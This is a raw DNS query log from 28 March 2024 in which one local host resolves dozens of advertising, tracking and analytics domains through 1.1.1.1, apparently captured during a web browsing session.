Mar 28, 2024 09:52:31.953895092 CET	192.168.2.4	1.1.1.1	0xe09c	Standard query (0)	eus.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.954596043 CET	192.168.2.4	1.1.1.1	0xde2f	Standard query (0)	eus.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:31.956478119 CET	192.168.2.4	1.1.1.1	0x1474	Standard query (0)	nmcsync.imrworldwide.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:31.956882000 CET	192.168.2.4	1.1.1.1	0x4d09	Standard query (0)	nmcsync.imrworldwide.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.085285902 CET	192.168.2.4	1.1.1.1	0x5e62	Standard query (0)	sync.e-planning.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.085618973 CET	192.168.2.4	1.1.1.1	0x65d0	Standard query (0)	sync.e-planning.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.114939928 CET	192.168.2.4	1.1.1.1	0xc9bf	Standard query (0)	load.exelator.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.115231037 CET	192.168.2.4	1.1.1.1	0xdaa	Standard query (0)	load.exelator.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.123018026 CET	192.168.2.4	1.1.1.1	0x1dee	Standard query (0)	ice.360yield.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.123202085 CET	192.168.2.4	1.1.1.1	0x4730	Standard query (0)	ice.360yield.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.138545990 CET	192.168.2.4	1.1.1.1	0x4d7	Standard query (0)	sync.colossusssp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.138693094 CET	192.168.2.4	1.1.1.1	0x713a	Standard query (0)	sync.colossusssp.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.161273956 CET	192.168.2.4	1.1.1.1	0x8bf9	Standard query (0)	usync.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.161711931 CET	192.168.2.4	1.1.1.1	0x4a13	Standard query (0)	usync.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.193084002 CET	192.168.2.4	1.1.1.1	0xd041	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.193249941 CET	192.168.2.4	1.1.1.1	0x7ffb	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.319673061 CET	192.168.2.4	1.1.1.1	0x6ae8	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.319780111 CET	192.168.2.4	1.1.1.1	0xffd1	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.363450050 CET	192.168.2.4	1.1.1.1	0xf033	Standard query (0)	onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.363571882 CET	192.168.2.4	1.1.1.1	0x14f2	Standard query (0)	onesignal.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.495512962 CET	192.168.2.4	1.1.1.1	0x623	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.495688915 CET	192.168.2.4	1.1.1.1	0xf318	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.520499945 CET	192.168.2.4	1.1.1.1	0x276b	Standard query (0)	rules.quantcount.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.520689964 CET	192.168.2.4	1.1.1.1	0xa92	Standard query (0)	rules.quantcount.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.611155033 CET	192.168.2.4	1.1.1.1	0x1fc7	Standard query (0)	cm-x.mgid.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.611289024 CET	192.168.2.4	1.1.1.1	0x3d12	Standard query (0)	cm-x.mgid.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.673634052 CET	192.168.2.4	1.1.1.1	0x1a96	Standard query (0)	secure-gl.imrworldwide.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.673849106 CET	192.168.2.4	1.1.1.1	0x65da	Standard query (0)	secure-gl.imrworldwide.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.771384954 CET	192.168.2.4	1.1.1.1	0x4f6e	Standard query (0)	nym1-ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.771583080 CET	192.168.2.4	1.1.1.1	0xf58e	Standard query (0)	nym1-ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.973056078 CET	192.168.2.4	1.1.1.1	0x1179	Standard query (0)	i6.liadm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.973299026 CET	192.168.2.4	1.1.1.1	0xeb32	Standard query (0)	i6.liadm.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:32.990602016 CET	192.168.2.4	1.1.1.1	0x68d	Standard query (0)	tags.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:32.996673107 CET	192.168.2.4	1.1.1.1	0x8e9f	Standard query (0)	tags.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:33.274548054 CET	192.168.2.4	1.1.1.1	0x5b9e	Standard query (0)	secure-assets.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:33.274548054 CET	192.168.2.4	1.1.1.1	0xd684	Standard query (0)	secure-assets.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.367238998 CET	192.168.2.4	1.1.1.1	0x2f02	Standard query (0)	ad.turn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.367238998 CET	192.168.2.4	1.1.1.1	0x3dad	Standard query (0)	ad.turn.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:33.753315926 CET	192.168.2.4	1.1.1.1	0xf29f	Standard query (0)	sq-tungsten-ts.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:33.753315926 CET	192.168.2.4	1.1.1.1	0x9fc1	Standard query (0)	sq-tungsten-ts.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.831958055 CET	192.168.2.4	1.1.1.1	0xa52b	Standard query (0)	pixel.quantserve.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:33.832140923 CET	192.168.2.4	1.1.1.1	0x9a7d	Standard query (0)	pixel.quantserve.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.071468115 CET	192.168.2.4	1.1.1.1	0x2795	Standard query (0)	c.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.072000980 CET	192.168.2.4	1.1.1.1	0x79d3	Standard query (0)	c.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.154647112 CET	192.168.2.4	1.1.1.1	0x759b	Standard query (0)	u-iad04.e-planning.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.154647112 CET	192.168.2.4	1.1.1.1	0x410e	Standard query (0)	u-iad04.e-planning.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.189388990 CET	192.168.2.4	1.1.1.1	0x8a3d	Standard query (0)	ice.360yield.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.189640999 CET	192.168.2.4	1.1.1.1	0x3c0c	Standard query (0)	ice.360yield.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.190694094 CET	192.168.2.4	1.1.1.1	0x7f26	Standard query (0)	ads.servenobid.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.190922022 CET	192.168.2.4	1.1.1.1	0xb5a	Standard query (0)	ads.servenobid.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.191206932 CET	192.168.2.4	1.1.1.1	0xb7a5	Standard query (0)	sync.e-planning.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.191581011 CET	192.168.2.4	1.1.1.1	0x2a61	Standard query (0)	sync.e-planning.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.192714930 CET	192.168.2.4	1.1.1.1	0x7ca8	Standard query (0)	load.exelator.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.192985058 CET	192.168.2.4	1.1.1.1	0x5730	Standard query (0)	load.exelator.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.199286938 CET	192.168.2.4	1.1.1.1	0xcd21	Standard query (0)	usync.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.199286938 CET	192.168.2.4	1.1.1.1	0xa377	Standard query (0)	usync.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.205666065 CET	192.168.2.4	1.1.1.1	0x72d0	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.205820084 CET	192.168.2.4	1.1.1.1	0x2086	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.224731922 CET	192.168.2.4	1.1.1.1	0x5d53	Standard query (0)	nmcsync.imrworldwide.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.224998951 CET	192.168.2.4	1.1.1.1	0x4972	Standard query (0)	nmcsync.imrworldwide.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.226721048 CET	192.168.2.4	1.1.1.1	0x287a	Standard query (0)	secure-gl.imrworldwide.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.226977110 CET	192.168.2.4	1.1.1.1	0x361f	Standard query (0)	secure-gl.imrworldwide.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.239535093 CET	192.168.2.4	1.1.1.1	0x2e66	Standard query (0)	api.attentionxyz.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.239670038 CET	192.168.2.4	1.1.1.1	0xb7f8	Standard query (0)	api.attentionxyz.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.240226030 CET	192.168.2.4	1.1.1.1	0xada8	Standard query (0)	nym1-ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.240376949 CET	192.168.2.4	1.1.1.1	0x720e	Standard query (0)	nym1-ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.289316893 CET	192.168.2.4	1.1.1.1	0x2230	Standard query (0)	spl.zeotap.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.289537907 CET	192.168.2.4	1.1.1.1	0x1f38	Standard query (0)	spl.zeotap.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.290843964 CET	192.168.2.4	1.1.1.1	0x547c	Standard query (0)	i6.liadm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.291182995 CET	192.168.2.4	1.1.1.1	0x6b2a	Standard query (0)	i6.liadm.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.304742098 CET	192.168.2.4	1.1.1.1	0x8937	Standard query (0)	www.filepicker.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.304929972 CET	192.168.2.4	1.1.1.1	0xdca	Standard query (0)	www.filepicker.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.377233028 CET	192.168.2.4	1.1.1.1	0x4763	Standard query (0)	inv-nets.admixer.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.377517939 CET	192.168.2.4	1.1.1.1	0x44ed	Standard query (0)	inv-nets.admixer.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.485739946 CET	192.168.2.4	1.1.1.1	0x800c	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.486110926 CET	192.168.2.4	1.1.1.1	0xe1af	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.740504026 CET	192.168.2.4	1.1.1.1	0xd037	Standard query (0)	sync.adkernel.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.740672112 CET	192.168.2.4	1.1.1.1	0x173d	Standard query (0)	sync.adkernel.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.773066044 CET	192.168.2.4	1.1.1.1	0x3e28	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.773338079 CET	192.168.2.4	1.1.1.1	0x7dfe	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.811418056 CET	192.168.2.4	1.1.1.1	0x5c92	Standard query (0)	onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.812042952 CET	192.168.2.4	1.1.1.1	0xd7cd	Standard query (0)	onesignal.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.812570095 CET	192.168.2.4	1.1.1.1	0xaac8	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.812815905 CET	192.168.2.4	1.1.1.1	0xa368	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.815814018 CET	192.168.2.4	1.1.1.1	0x3893	Standard query (0)	aax-us-east.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.816054106 CET	192.168.2.4	1.1.1.1	0xaaf9	Standard query (0)	aax-us-east.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:34.993586063 CET	192.168.2.4	1.1.1.1	0x22cc	Standard query (0)	polyfill.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.993906975 CET	192.168.2.4	1.1.1.1	0x899c	Standard query (0)	polyfill.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:35.249222040 CET	192.168.2.4	1.1.1.1	0x9ca2	Standard query (0)	cm.smadex.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:35.249555111 CET	192.168.2.4	1.1.1.1	0x32bc	Standard query (0)	cm.smadex.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:36.156583071 CET	192.168.2.4	1.1.1.1	0xde6	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:36.156894922 CET	192.168.2.4	1.1.1.1	0x8c18	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.796251059 CET	192.168.2.4	1.1.1.1	0xf95a	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.796762943 CET	192.168.2.4	1.1.1.1	0xec07	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.801409006 CET	192.168.2.4	1.1.1.1	0x48d5	Standard query (0)	securepubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.801544905 CET	192.168.2.4	1.1.1.1	0x92e4	Standard query (0)	securepubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.805270910 CET	192.168.2.4	1.1.1.1	0x5a43	Standard query (0)	sq-tungsten-ts.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.805586100 CET	192.168.2.4	1.1.1.1	0x38e7	Standard query (0)	sq-tungsten-ts.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.806225061 CET	192.168.2.4	1.1.1.1	0x1d52	Standard query (0)	pixel.quantserve.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.806225061 CET	192.168.2.4	1.1.1.1	0x6e51	Standard query (0)	pixel.quantserve.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.823312998 CET	192.168.2.4	1.1.1.1	0xfe7a	Standard query (0)	www.filepicker.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.823590040 CET	192.168.2.4	1.1.1.1	0xaa91	Standard query (0)	www.filepicker.io	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.848666906 CET	192.168.2.4	1.1.1.1	0x3fe5	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.848668098 CET	192.168.2.4	1.1.1.1	0x1f0d	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.865628958 CET	192.168.2.4	1.1.1.1	0xd2be	Standard query (0)	a.audrte.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.866054058 CET	192.168.2.4	1.1.1.1	0xe8a8	Standard query (0)	a.audrte.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:37.878464937 CET	192.168.2.4	1.1.1.1	0x2eaf	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.878657103 CET	192.168.2.4	1.1.1.1	0x1c00	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:38.250010967 CET	192.168.2.4	1.1.1.1	0x1d2	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.250214100 CET	192.168.2.4	1.1.1.1	0xe482	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:38.251180887 CET	192.168.2.4	1.1.1.1	0x4dc0	Standard query (0)	prg.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.251717091 CET	192.168.2.4	1.1.1.1	0xd2e2	Standard query (0)	prg.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:38.255826950 CET	192.168.2.4	1.1.1.1	0x9e3	Standard query (0)	adx.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.256477118 CET	192.168.2.4	1.1.1.1	0xfc07	Standard query (0)	adx.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:39.447920084 CET	192.168.2.4	1.1.1.1	0x21f9	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:39.448682070 CET	192.168.2.4	1.1.1.1	0x29bc	Standard query (0)	www.facebook.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:40.080399036 CET	192.168.2.4	1.1.1.1	0xc3fc	Standard query (0)	pubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.080899954 CET	192.168.2.4	1.1.1.1	0xec31	Standard query (0)	pubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:40.192732096 CET	192.168.2.4	1.1.1.1	0x53c4	Standard query (0)	tags.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.192943096 CET	192.168.2.4	1.1.1.1	0x4a2a	Standard query (0)	tags.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:40.194005966 CET	192.168.2.4	1.1.1.1	0xd37c	Standard query (0)	prebid-server.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.194502115 CET	192.168.2.4	1.1.1.1	0x44af	Standard query (0)	prebid-server.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:40.313499928 CET	192.168.2.4	1.1.1.1	0xf1a	Standard query (0)	scontent.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.313694954 CET	192.168.2.4	1.1.1.1	0xc804	Standard query (0)	scontent.xx.fbcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:40.314603090 CET	192.168.2.4	1.1.1.1	0x5705	Standard query (0)	video.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.314830065 CET	192.168.2.4	1.1.1.1	0x3c10	Standard query (0)	video.xx.fbcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:40.327294111 CET	192.168.2.4	1.1.1.1	0x29de	Standard query (0)	static.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.327524900 CET	192.168.2.4	1.1.1.1	0x163	Standard query (0)	static.xx.fbcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:40.351785898 CET	192.168.2.4	1.1.1.1	0xcc45	Standard query (0)	prg.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.351979017 CET	192.168.2.4	1.1.1.1	0x4c93	Standard query (0)	prg.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:41.954526901 CET	192.168.2.4	1.1.1.1	0xda43	Standard query (0)	adx.4strokemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:41.954526901 CET	192.168.2.4	1.1.1.1	0xcd55	Standard query (0)	adx.4strokemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:42.877408028 CET	192.168.2.4	1.1.1.1	0x64c3	Standard query (0)	csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:42.880177975 CET	192.168.2.4	1.1.1.1	0xf22	Standard query (0)	csync.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:42.889307022 CET	192.168.2.4	1.1.1.1	0xbcf0	Standard query (0)	viralize-d.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:42.889380932 CET	192.168.2.4	1.1.1.1	0xd1ab	Standard query (0)	viralize-d.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:42.944305897 CET	192.168.2.4	1.1.1.1	0xb7b4	Standard query (0)	cdnb.4strokemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:42.944417000 CET	192.168.2.4	1.1.1.1	0xad15	Standard query (0)	cdnb.4strokemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:43.498739004 CET	192.168.2.4	1.1.1.1	0x8664	Standard query (0)	ced-ns.sascdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.498908997 CET	192.168.2.4	1.1.1.1	0x4176	Standard query (0)	ced-ns.sascdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:43.811312914 CET	192.168.2.4	1.1.1.1	0x7764	Standard query (0)	i.w55c.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.811681032 CET	192.168.2.4	1.1.1.1	0xe437	Standard query (0)	i.w55c.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:43.835150957 CET	192.168.2.4	1.1.1.1	0x1f1e	Standard query (0)	p.rfihub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.835413933 CET	192.168.2.4	1.1.1.1	0x29a4	Standard query (0)	p.rfihub.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.098124027 CET	192.168.2.4	1.1.1.1	0xb7d9	Standard query (0)	px.moatads.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.098222017 CET	192.168.2.4	1.1.1.1	0xf581	Standard query (0)	px.moatads.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.150125027 CET	192.168.2.4	1.1.1.1	0x983f	Standard query (0)	track.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.150501013 CET	192.168.2.4	1.1.1.1	0xbe32	Standard query (0)	track.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.226228952 CET	192.168.2.4	1.1.1.1	0x9b8c	Standard query (0)	config.aps.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.226372004 CET	192.168.2.4	1.1.1.1	0x3d34	Standard query (0)	config.aps.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.272363901 CET	192.168.2.4	1.1.1.1	0xcdab	Standard query (0)	eu-u.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.272586107 CET	192.168.2.4	1.1.1.1	0x8506	Standard query (0)	eu-u.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.329802990 CET	192.168.2.4	1.1.1.1	0xc970	Standard query (0)	server.cpmstar.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.329938889 CET	192.168.2.4	1.1.1.1	0x3f99	Standard query (0)	server.cpmstar.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.330322981 CET	192.168.2.4	1.1.1.1	0x4a89	Standard query (0)	scontent-iad3-1.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.330436945 CET	192.168.2.4	1.1.1.1	0x4035	Standard query (0)	scontent-iad3-1.xx.fbcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.602947950 CET	192.168.2.4	1.1.1.1	0xb092	Standard query (0)	analytics.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.603049994 CET	192.168.2.4	1.1.1.1	0xee9c	Standard query (0)	analytics.google.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.692272902 CET	192.168.2.4	1.1.1.1	0x3e21	Standard query (0)	image6.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.692370892 CET	192.168.2.4	1.1.1.1	0x8650	Standard query (0)	image6.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.693141937 CET	192.168.2.4	1.1.1.1	0x4648	Standard query (0)	ad.turn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.693207026 CET	192.168.2.4	1.1.1.1	0xb284	Standard query (0)	ad.turn.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.693770885 CET	192.168.2.4	1.1.1.1	0x4087	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.693902016 CET	192.168.2.4	1.1.1.1	0xaae4	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.696893930 CET	192.168.2.4	1.1.1.1	0x3427	Standard query (0)	sync.adotmob.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.696993113 CET	192.168.2.4	1.1.1.1	0xde31	Standard query (0)	sync.adotmob.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.699888945 CET	192.168.2.4	1.1.1.1	0xfc59	Standard query (0)	secure.adnxs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.699995041 CET	192.168.2.4	1.1.1.1	0xcef6	Standard query (0)	secure.adnxs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:44.817259073 CET	192.168.2.4	1.1.1.1	0x3e32	Standard query (0)	external-xxc1-1.xx.fbcdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.817393064 CET	192.168.2.4	1.1.1.1	0xcb07	Standard query (0)	external-xxc1-1.xx.fbcdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.082680941 CET	192.168.2.4	1.1.1.1	0xaea2	Standard query (0)	s2.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.082767963 CET	192.168.2.4	1.1.1.1	0xe515	Standard query (0)	s2.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.367420912 CET	192.168.2.4	1.1.1.1	0x3cc7	Standard query (0)	dsp.nrich.ai	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.367518902 CET	192.168.2.4	1.1.1.1	0xfe26	Standard query (0)	dsp.nrich.ai	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.390675068 CET	192.168.2.4	1.1.1.1	0x599a	Standard query (0)	stats.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.390806913 CET	192.168.2.4	1.1.1.1	0xa5eb	Standard query (0)	stats.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.484198093 CET	192.168.2.4	1.1.1.1	0xd8fe	Standard query (0)	rtb.adentifi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.484321117 CET	192.168.2.4	1.1.1.1	0xf895	Standard query (0)	rtb.adentifi.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.484658003 CET	192.168.2.4	1.1.1.1	0x2d72	Standard query (0)	sync.mathtag.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.484775066 CET	192.168.2.4	1.1.1.1	0xf85f	Standard query (0)	sync.mathtag.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.485470057 CET	192.168.2.4	1.1.1.1	0x13de	Standard query (0)	d.adroll.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.485560894 CET	192.168.2.4	1.1.1.1	0xade	Standard query (0)	d.adroll.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.485888004 CET	192.168.2.4	1.1.1.1	0x43cc	Standard query (0)	beacon.lynx.cognitivlabs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.485992908 CET	192.168.2.4	1.1.1.1	0xbc71	Standard query (0)	beacon.lynx.cognitivlabs.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.487087965 CET	192.168.2.4	1.1.1.1	0x7727	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.487195015 CET	192.168.2.4	1.1.1.1	0xd098	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:52:45.553323030 CET	192.168.2.4	1.1.1.1	0x5dff	Standard query (0)	oxp.mxptint.net	A (IP address)	IN (0x0001)	false
